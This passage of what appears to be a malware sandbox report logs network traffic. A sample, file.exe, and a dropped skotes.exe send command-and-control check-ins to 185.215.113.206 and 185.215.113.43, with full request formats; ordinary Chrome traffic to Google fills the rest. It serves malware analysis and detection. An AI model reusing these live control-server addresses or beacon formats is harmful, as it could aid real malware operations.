Nov 24, 2024 23:24:48.955393076 CET	1236	IN	Data Raw: 43 d8 c5 57 50 6e e2 b3 8f 0d 31 c8 09 bc 1b 03 a7 2a 86 94 c4 f7 eb 48 c0 3e 9e 03 d9 ad 7d 8d 01 6c f8 cd b2 07 45 6e f9 46 b9 45 59 c6 fa 84 ad e9 db fd 71 8e 8a c8 55 37 bf e0 d7 81 66 3e 85 6f 74 0f c6 68 e4 d5 58 af 01 b3 bf 54 f1 f9 ec 56 Data Ascii: CWPn1H>}lEnFEYqU7f>othXTVB/\`Blnngqm`V}T0$y-2c2^dT 8q2q/;IH<rwgvJygoT?>r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49906	185.215.113.206	80	1680	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 23:24:52.570355892 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJJECFIECBGDGCAAAEH Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 39 37 34 35 36 62 30 32 63 33 62 35 33 32 32 64 61 65 30 62 36 31 62 61 34 33 33 35 32 33 64 35 61 62 64 39 30 62 30 32 34 34 30 66 32 32 31 63 33 30 34 35 33 34 31 34 61 31 35 35 62 64 37 66 62 38 30 34 61 36 33 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 2d 2d 0d 0a Data Ascii: ------HJJJECFIECBGDGCAAAEHContent-Disposition: form-data; name="token"b97456b02c3b5322dae0b61ba433523d5abd90b02440f221c30453414a155bd7fb804a63------HJJJECFIECBGDGCAAAEHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HJJJECFIECBGDGCAAAEH--
Nov 24, 2024 23:24:54.499696016 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	50079	185.215.113.43	80	5424	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 23:26:05.310962915 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 23:26:06.724423885 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 22:26:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	142.250.181.68	443	3092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:16 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-24 22:24:17 UTC	1266	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:17 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-TAJzhzrzQioEDJujPBqtAw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-24 22:24:17 UTC	124	IN	Data Raw: 64 39 66 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 63 68 69 63 61 67 6f 20 62 65 61 72 73 22 2c 22 62 6c 75 65 20 6c 61 67 6f 6f 6e 20 69 63 65 6c 61 6e 64 20 76 6f 6c 63 61 6e 6f 20 65 72 75 70 74 69 6f 6e 22 2c 22 78 72 70 20 70 72 69 63 65 20 70 72 65 64 69 63 74 69 6f 6e 20 6e 6f 76 65 6d 62 65 72 20 32 33 22 2c 22 67 6c 61 64 69 61 74 6f 72 20 69 69 20 73 74 72 65 61 Data Ascii: d9f)]}'["",["chicago bears","blue lagoon iceland volcano eruption","xrp price prediction november 23","gladiator ii strea
2024-11-24 22:24:17 UTC	1390	IN	Data Raw: 6d 69 6e 67 22 2c 22 73 74 6f 72 79 62 6f 6f 6b 20 76 61 6c 65 20 64 69 73 6e 65 79 20 64 72 65 61 6d 6c 69 67 68 74 20 76 61 6c 6c 65 79 22 2c 22 73 74 72 65 61 6d 69 6e 67 20 6d 6f 76 69 65 73 22 2c 22 6e 65 77 20 65 6e 67 6c 61 6e 64 20 70 61 74 72 69 6f 74 73 20 6d 69 61 6d 69 20 64 6f 6c 70 68 69 6e 73 22 2c 22 6b 61 72 61 6f 6b 65 20 73 74 61 72 73 20 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 20 72 65 77 61 72 64 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c Data Ascii: ming","storybook vale disney dreamlight valley","streaming movies","new england patriots miami dolphins","karaoke stars monopoly go rewards"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJl
2024-11-24 22:24:17 UTC	1390	IN	Data Raw: 68 4e 51 55 55 30 65 6b 30 76 62 6a 5a 76 54 6d 35 6f 5a 45 4a 6a 53 30 35 53 55 33 4a 30 61 6d 46 46 59 6d 68 7a 4f 55 56 61 4b 7a 4a 61 54 32 38 32 4d 6e 4a 7a 4d 32 52 30 65 45 45 31 65 55 6c 35 54 47 5a 74 52 6b 46 79 5a 45 39 76 59 6a 6c 32 5a 47 46 44 59 31 46 69 52 32 4e 46 56 43 74 4b 56 6d 4e 30 56 58 5a 34 55 31 64 6a 54 44 46 4e 56 6d 55 32 52 55 5a 4b 54 55 77 78 56 47 6c 56 55 56 5a 74 63 48 46 4a 55 6d 39 55 51 33 49 76 64 79 39 33 51 6e 4e 74 61 6c 64 35 61 6d 46 48 4c 30 74 57 55 79 39 4a 53 44 51 79 4c 33 4e 71 4b 30 70 58 4e 6d 64 56 65 6c 5a 4d 59 57 31 51 56 6d 6f 30 53 44 5a 43 56 6a 56 77 56 46 5a 69 55 55 51 32 5a 57 5a 52 51 6c 41 76 51 55 56 6d 4d 6c 46 6d 59 58 6c 4f 4e 46 5a 76 63 54 42 7a 57 57 46 7a 56 33 42 69 64 54 4a 50 63 Data Ascii: hNQUU0ek0vbjZvTm5oZEJjS05SU3J0amFFYmhzOUVaKzJaT282MnJzM2R0eEE1eUl5TGZtRkFyZE9vYjl2ZGFDY1FiR2NFVCtKVmN0VXZ4U1djTDFNVmU2RUZKTUwxVGlVUVZtcHFJUm9UQ3Ivdy93QnNtald5amFHL0tWUy9JSDQyL3NqK0pXNmdVelZMYW1QVmo0SDZCVjVwVFZiUUQ2ZWZRQlAvQUVmMlFmYXlONFZvcTBzWWFzV3BidTJPc
2024-11-24 22:24:17 UTC	590	IN	Data Raw: 57 6d 4e 43 59 57 78 47 55 30 64 68 52 58 64 77 61 58 4e 54 55 33 64 4a 54 47 73 78 56 55 70 4d 57 55 5a 49 59 32 35 4c 61 45 70 69 51 57 38 33 61 7a 4e 58 53 56 6c 4c 54 7a 56 4e 62 30 6c 6f 55 56 4e 74 53 33 68 43 62 45 52 4c 4c 79 39 61 4f 67 31 44 61 47 6c 6a 59 57 64 76 49 45 4a 6c 59 58 4a 7a 53 67 63 6a 59 54 4d 79 59 54 41 79 55 6a 5a 6e 63 31 39 7a 63 33 41 39 5a 55 70 36 61 6a 52 30 52 46 41 78 56 47 4e 33 63 6b 52 52 64 55 30 79 52 44 41 30 61 7a 4e 50 65 55 56 34 54 31 52 4e 4f 56 68 54 52 58 42 4f 54 45 4e 76 52 30 46 47 4d 6d 78 43 4c 56 46 77 42 77 5c 75 30 30 33 64 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c Data Ascii: WmNCYWxGU0dhRXdwaXNTU3dJTGsxVUpMWUZIY25LaEpiQW83azNXSVlLTzVNb0loUVNtS3hCbERLLy9aOg1DaGljYWdvIEJlYXJzSgcjYTMyYTAyUjZnc19zc3A9ZUp6ajR0RFAxVGN3ckRRdU0yRDA0azNPeUV4T1RNOVhTRXBOTENvR0FGMmxCLVFwBw\u003d\u003d","zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},
2024-11-24 22:24:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49711	142.250.181.68	443	3092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:16 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-24 22:24:17 UTC	1018	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 24 Nov 2024 22:24:17 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-24 22:24:17 UTC	372	IN	Data Raw: 32 36 66 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 26fd)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-24 22:24:17 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-24 22:24:17 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-24 22:24:17 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-24 22:24:17 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-24 22:24:17 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 39 32 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700292,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis
2024-11-24 22:24:17 UTC	1390	IN	Data Raw: 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d Data Ascii: or(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}
2024-11-24 22:24:17 UTC	1277	IN	Data Raw: 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c Data Ascii: (\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\
2024-11-24 22:24:17 UTC	409	IN	Data Raw: 31 39 32 0d 0a 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c Data Ascii: 192\|document;c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null
2024-11-24 22:24:17 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 6c 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6c 65 5b 64 5d 2c 63 29 3a 5f 2e 67 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 67 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 6c 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e 67 5c 22 2c 63 6f 6c 73 70 61 6e 3a 5c 22 63 6f 6c 53 70 61 6e 5c 22 2c 66 72 61 6d 65 62 6f 72 64 65 72 3a 5c 22 66 72 61 6d 65 42 6f 72 64 65 Data Ascii: 8000for\"?a.htmlFor\u003dc:le.hasOwnProperty(d)?a.setAttribute(le[d],c):_.ge(d,\"aria-\")\|\|_.ge(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};le\u003d{cellpadding:\"cellPadding\",cellspacing:\"cellSpacing\",colspan:\"colSpan\",frameborder:\"frameBorde

